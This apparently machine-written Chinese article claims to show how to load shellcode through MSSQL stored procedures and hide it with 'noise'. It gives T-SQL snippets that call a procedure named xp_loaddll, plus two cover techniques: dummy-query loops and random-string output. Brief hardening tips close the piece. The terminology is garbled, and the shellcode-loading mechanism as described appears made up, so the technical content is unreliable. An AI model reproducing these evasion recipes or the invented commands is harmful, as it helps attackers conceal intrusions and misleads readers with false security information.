利用Mssql造小马句利噪音-猿码集

1. 什么是Mssql

Microsoft SQL Server（简称MSSQL）是一款由微软公司开发的关系型数据库管理系统（RDBMS），它支持广泛的应用程序，提供了强大的数据管理功能和高级安全性，是众多企业应用系统的首选数据库。

2. 什么是小马句

小马句（shellcode）是指一小段计算机程序，通常用于攻击计算机系统。这些代码是被精心设计过的，可以直接在内存中执行，因此难以被检测和清除。

3. 利用Mssql造小马句利噪音

3.1 Mssql的存储过程

Mssql支持存储过程，存储过程是一种预编译的程序，在数据库服务器上执行。它可以带有参数，并且可以返回结果。更重要的是，存储过程允许用户执行原本需要管理员权限才能完成的操作，这使得攻击者能够利用存储过程产生恶意的效果。

3.2 制造小马句

在Mssql中，可以使用以下代码制造一段简单的小马句。

declare @shellcode varbinary(300) set @shellcode=0x90.......... --这里是你的小马句代码 exec master..xp_loaddll @shellcode,null,null,null

这段代码会创建一个名为@shellcode的变量，将小马句的十六进制代码存储在变量中，并通过Mssql内置的xp_loaddll存储过程将小马句加载入内存中。

3.3 制造利噪音

为了在攻击者执行小马句时不被发现，需要制造一些利噪音来掩盖攻击行为。这里介绍两种常用的利噪音方法。

第一种方法是在存储过程中插入大量无害的SQL语句，以产生大量的数据库操作记录，并与攻击内容掩盖在一起。例如：

declare @i int=1
while(@i<=100)
begin
  select * from [your_table_name] where 1=0
  set @i=@i+1
end
--以下是你的小马句代码
declare @shellcode varbinary(300)
set @shellcode=0x90.......... 
exec master..xp_loaddll @shellcode,null,null,null

第二种方法是在运行存储过程前，先随机生成一段100-200字符长度的字符串，并将其插入一个无害的表中，然后在运行小马句时，将随机字符串读取并输出到控制台，以产生大量的无关输出内容，掩盖攻击行为。例如：

declare @temp varchar(200)
set @temp=''
while(len(@temp)<100)
begin
  set @temp=@temp+char(rand()*94+32)
end
insert into [your_table_name] values(@temp)
declare @shellcode varbinary(300)
set @shellcode=0x90.......... 
exec master..xp_loaddll @shellcode,null,null,null
select @temp --输出随机字符串

4. 安全建议

为了防止恶意攻击，以下是一些常用的Mssql安全建议。

4.1 最小化权限

为了防止攻击者使用存储过程执行恶意代码，建议将Mssql服务帐户和应用程序帐户的权限控制在最小化程度上。对于一些不必要的权限，可以使用GRANT和REVOKE语句授予或撤销访问权限。

4.2 加密通信

建议使用SSL或TLS等安全通信协议，加密客户端与数据库服务器之间的通信，防止攻击者通过拦截或篡改客户端和服务器之间的通信信息对数据库服务器进行攻击。

4.3 安装补丁

及时安装Mssql的补丁程序，并且持续监控安全漏洞，随时保持最新的安全状态。

4.4 安装防病毒软件

安装并更新防病毒软件，及时检测并清除恶意程序，确保Mssql服务器的安全。

5. 总结

利用Mssql制造小马句并掩盖攻击行为，是一种比较常见的攻击手段。系统管理员需要加强对Mssql的安全管理，及时安装补丁，加密通信，最小化权限等，防止恶意攻击。

利用Mssql造小马句利噪音